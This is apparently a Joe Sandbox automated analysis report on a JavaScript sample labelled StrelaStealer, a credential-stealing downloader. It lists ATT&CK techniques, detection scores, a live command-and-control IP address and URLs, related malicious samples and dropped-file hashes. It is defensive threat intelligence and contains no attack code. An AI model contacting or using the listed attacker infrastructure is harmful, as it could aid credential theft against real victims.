Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1534283901292319457.js	8%	Virustotal		Browse
1534283901292319457.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/.N	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/pacew	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/.N	net.exe, 00000007.00000002.1469698243.0000018A15F09000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1467330703.0000018A15F09000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2695856125.000001D766610000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1467640092.000001D7663D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1466673294.0000018A15F2D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1469636285.0000018A15ED8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1469698243.0000018A15F09000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1467330703.0000018A15F09000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/pacew	net.exe, 00000007.00000002.1469636285.0000018A15ED8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588955
Start date and time:	2025-01-11 07:36:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1534283901292319457.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 50.16.47.176, 34.237.241.83, 54.224.241.105, 18.213.11.84, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 2.22.50.144, 2.22.50.131, 2.16.168.107, 2.16.168.105, 20.12.23.50, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:37:26	API Interceptor	36x Sleep call for process: powershell.exe modified
01:37:32	API Interceptor	1x Sleep call for process: net.exe modified
01:37:32	API Interceptor	2x Sleep call for process: svchost.exe modified
01:37:39	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91263130946456752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187637497286212310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	820716203646129861.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	91263130946456752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1418132746179806359.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2449715899306403241.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	131612862076531181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021924602502731
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAd:RJE+Lfki1GjHwU/+vVhWqp0
MD5:	98D61682D696C1BC156CADC9C30EBC20
SHA1:	C4A4D9BA4BBB2AE88F642C95381CB4FB22DE57A7
SHA-256:	4CAE8BAA303A61D10125A6A86D1E9C51DB57888B3586603C95925287C082744B
SHA-512:	14B57164275D49FE4631671CEB0D27195F85C090FDD8C5EB4C8961C6006609B21B2BBAB104B120E4D7DDF7F366C2F65BBB66C07CB7508AAB479830B9EF295947
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0126a1ea, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432726771155456
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:zazaHvxXy2V2UR
MD5:	A9A1570AB089CB73C66D89A0B1333A7C
SHA1:	1C3F361D3B2CBA673F76973EAC60847E46CE3CD3
SHA-256:	2E6311EBA83C1013C16269B7550B38B37E349D53585EB687FEED22478CD4831D
SHA-512:	F9B14EABFB9ABA30CABD107B1470BE7AC03029AE02C4A289A2AECE69DA8C1993B0A77D23892ACE6EF0124F3096C85F61D7147B2E1801563D11C454485FFBD1E2
Malicious:	false
Preview:	.&..... ...............X\...;...{......................0.x...... ...{s. %...}i.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................o37 %...}.................j.3t %...}i..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08127224677095558
Encrypted:	false
SSDEEP:	3:H0plllKYey5IgGsl/nqlFcl1ZUllllZGMEallGBnX/l/Tj/k7/t:Up/lKzHlsl/qlFclQ/l/N254
MD5:	18B4672486881B61CBAEAE31F8BF2ED5
SHA1:	6BBFB6E673026EE66DBD231249D730D0BCA178BE
SHA-256:	97174001F5CC5C5BCE2E584423BC0B85C30CD8FEAB7A17797EDC9DAEB97FA5A7
SHA-512:	FFAEBB80EFD7DA351344971DF0A74754FD6482DE0B92200C752E12FCA2BDC1FCFC7DB9C3B260153AA2669BE3D8B68494CDDD9EB17716AE3E0F21CD9CAFA24B94
Malicious:	false
Preview:	..Q......................................;...{.. %...}i.. ...{s.......... ...{s.. ...{s.P.... ...{s.................j.3t %...}i.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.186729190746788
Encrypted:	false
SSDEEP:	6:iOnUWiyq2PCHhJ2nKuAl9OmbnIFUtFUWq1ZmwrUW8RkwOCHhJ2nKuAl9OmbjLJ:7nPiyvBHAahFUtFPs/rP8R56HAaSJ
MD5:	FEC2B0E8EE9A02ADF3EA899412139104
SHA1:	51C2DC5C5813D90FBC43E59E2614C7BDBE34250E
SHA-256:	82F2560D82E3AD3A5539F16439AB65B67AC0BBB59A1503F6B53BCAFE5B933A1A
SHA-512:	FC90EDEF3FD007321C8FDADC27617AB6F139FA246B270D69B56C3A766DC7514AA5C860871D3273BBC02F022893174F7519C24956B6AE3C455367DB48BA8A880B
Malicious:	false
Preview:	2025/01/11-01:37:32.332 1f54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:37:32.334 1f54 Recovering log #3.2025/01/11-01:37:32.334 1f54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.186729190746788
Encrypted:	false
SSDEEP:	6:iOnUWiyq2PCHhJ2nKuAl9OmbnIFUtFUWq1ZmwrUW8RkwOCHhJ2nKuAl9OmbjLJ:7nPiyvBHAahFUtFPs/rP8R56HAaSJ
MD5:	FEC2B0E8EE9A02ADF3EA899412139104
SHA1:	51C2DC5C5813D90FBC43E59E2614C7BDBE34250E
SHA-256:	82F2560D82E3AD3A5539F16439AB65B67AC0BBB59A1503F6B53BCAFE5B933A1A
SHA-512:	FC90EDEF3FD007321C8FDADC27617AB6F139FA246B270D69B56C3A766DC7514AA5C860871D3273BBC02F022893174F7519C24956B6AE3C455367DB48BA8A880B
Malicious:	false
Preview:	2025/01/11-01:37:32.332 1f54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:37:32.334 1f54 Recovering log #3.2025/01/11-01:37:32.334 1f54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1525325143087155
Encrypted:	false
SSDEEP:	6:iOnUF5Vq2PCHhJ2nKuAl9Ombzo2jMGIFUtFUfcgZmwrUD5IkwOCHhJ2nKuAl9OmT:7neVvBHAa8uFUtFRg/r+5I56HAa8RJ
MD5:	CF6FD66B78B3694FDE239069A840CB7A
SHA1:	5826552523349E3FB6EA57EC661259A9F515D8E3
SHA-256:	91E3DE934398E66EF55EDE62147920837D29AD54B6EFCF0A6E001A13026A0087
SHA-512:	6878F9C2CDD635538C80116129722D1D12FBD3827AECE5DD2FC5F68257257D1C82F3A3F8A3A2B745BAA3FE303F724C0360EFF8E3620305391CA04238EBD74C62
Malicious:	false
Preview:	2025/01/11-01:37:32.413 1ff0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:37:32.414 1ff0 Recovering log #3.2025/01/11-01:37:32.415 1ff0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1525325143087155
Encrypted:	false
SSDEEP:	6:iOnUF5Vq2PCHhJ2nKuAl9Ombzo2jMGIFUtFUfcgZmwrUD5IkwOCHhJ2nKuAl9OmT:7neVvBHAa8uFUtFRg/r+5I56HAa8RJ
MD5:	CF6FD66B78B3694FDE239069A840CB7A
SHA1:	5826552523349E3FB6EA57EC661259A9F515D8E3
SHA-256:	91E3DE934398E66EF55EDE62147920837D29AD54B6EFCF0A6E001A13026A0087
SHA-512:	6878F9C2CDD635538C80116129722D1D12FBD3827AECE5DD2FC5F68257257D1C82F3A3F8A3A2B745BAA3FE303F724C0360EFF8E3620305391CA04238EBD74C62
Malicious:	false
Preview:	2025/01/11-01:37:32.413 1ff0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:37:32.414 1ff0 Recovering log #3.2025/01/11-01:37:32.415 1ff0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9532316475369305
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRsBdOg2Hzcaq3QYiub6P7E4T3y:Y2sRds7dMHK3QYhbS7nby
MD5:	D8909CE2AC63598E252369120B02AA29
SHA1:	EB9EF291CC1EB911FF8AE0C4081D2183BFCE417F
SHA-256:	240EE6A223A7067B2E8C09554074007598F52312B0E87A0FEF94852E231ED814
SHA-512:	B559CBB7F4A3C7018F222318A9A3C5A795C297A05416EA8106604C34774B83C719C02C298AB9CA4A92C1DD9D5BD35C54165589F96C4EC86EBD1424CD7A42EF13
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381137464216968","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":118892},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b387ff5f-bbb7-44b2-930a-5064da0c816c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9532316475369305
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRsBdOg2Hzcaq3QYiub6P7E4T3y:Y2sRds7dMHK3QYhbS7nby
MD5:	D8909CE2AC63598E252369120B02AA29
SHA1:	EB9EF291CC1EB911FF8AE0C4081D2183BFCE417F
SHA-256:	240EE6A223A7067B2E8C09554074007598F52312B0E87A0FEF94852E231ED814
SHA-512:	B559CBB7F4A3C7018F222318A9A3C5A795C297A05416EA8106604C34774B83C719C02C298AB9CA4A92C1DD9D5BD35C54165589F96C4EC86EBD1424CD7A42EF13
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381137464216968","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":118892},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.23203807128667
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bhBNTB:S43C4mS7fFi0KFYDjr3LWO3V3aw+bh3t
MD5:	3E2B74EE2F505780B22F5FA1762A0057
SHA1:	45A07843D70F9A933A16C5D250E19834F90B7386
SHA-256:	ED4AD5D24BAF68E29BA5FBDD49F1968080BEC862A31CED1B3DB8846F95C2E4BC
SHA-512:	AE40E69A163E7D8B4D1630D819EEDFAC78521E835F8C619382097B65342A9F5C61E5FFBED275141478FD1908632AEF84BE85AC719852D2F001315E23A05B024D
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.208074510418747
Encrypted:	false
SSDEEP:	6:iOnUQ9SVq2PCHhJ2nKuAl9OmbzNMxIFUtFU+gZmwrULJSIkwOCHhJ2nKuAl9Ombg:7nJ9SVvBHAa8jFUtFPg/rNI56HAa84J
MD5:	489B454AD057654B389D668EF1096B42
SHA1:	8A21F7D4EEB20415014E09BEFDA66118B440231A
SHA-256:	42B4553A8D7592C0394BADFC086C9A6E1F70CBAB452C8F6DF8B00AE36E2A8CA4
SHA-512:	944E83242EB15C5E6A2DF6DDE12EA408ECEC4ABC4779F672C6748E91FE1FB61B12E71B839EC007D3F74E4659678AF91B0BBB5DC6953E8DAF00425E8CB05DEA4B
Malicious:	false
Preview:	2025/01/11-01:37:32.488 1ff0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:37:32.489 1ff0 Recovering log #3.2025/01/11-01:37:32.490 1ff0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.208074510418747
Encrypted:	false
SSDEEP:	6:iOnUQ9SVq2PCHhJ2nKuAl9OmbzNMxIFUtFU+gZmwrULJSIkwOCHhJ2nKuAl9Ombg:7nJ9SVvBHAa8jFUtFPg/rNI56HAa84J
MD5:	489B454AD057654B389D668EF1096B42
SHA1:	8A21F7D4EEB20415014E09BEFDA66118B440231A
SHA-256:	42B4553A8D7592C0394BADFC086C9A6E1F70CBAB452C8F6DF8B00AE36E2A8CA4
SHA-512:	944E83242EB15C5E6A2DF6DDE12EA408ECEC4ABC4779F672C6748E91FE1FB61B12E71B839EC007D3F74E4659678AF91B0BBB5DC6953E8DAF00425E8CB05DEA4B
Malicious:	false
Preview:	2025/01/11-01:37:32.488 1ff0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:37:32.489 1ff0 Recovering log #3.2025/01/11-01:37:32.490 1ff0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

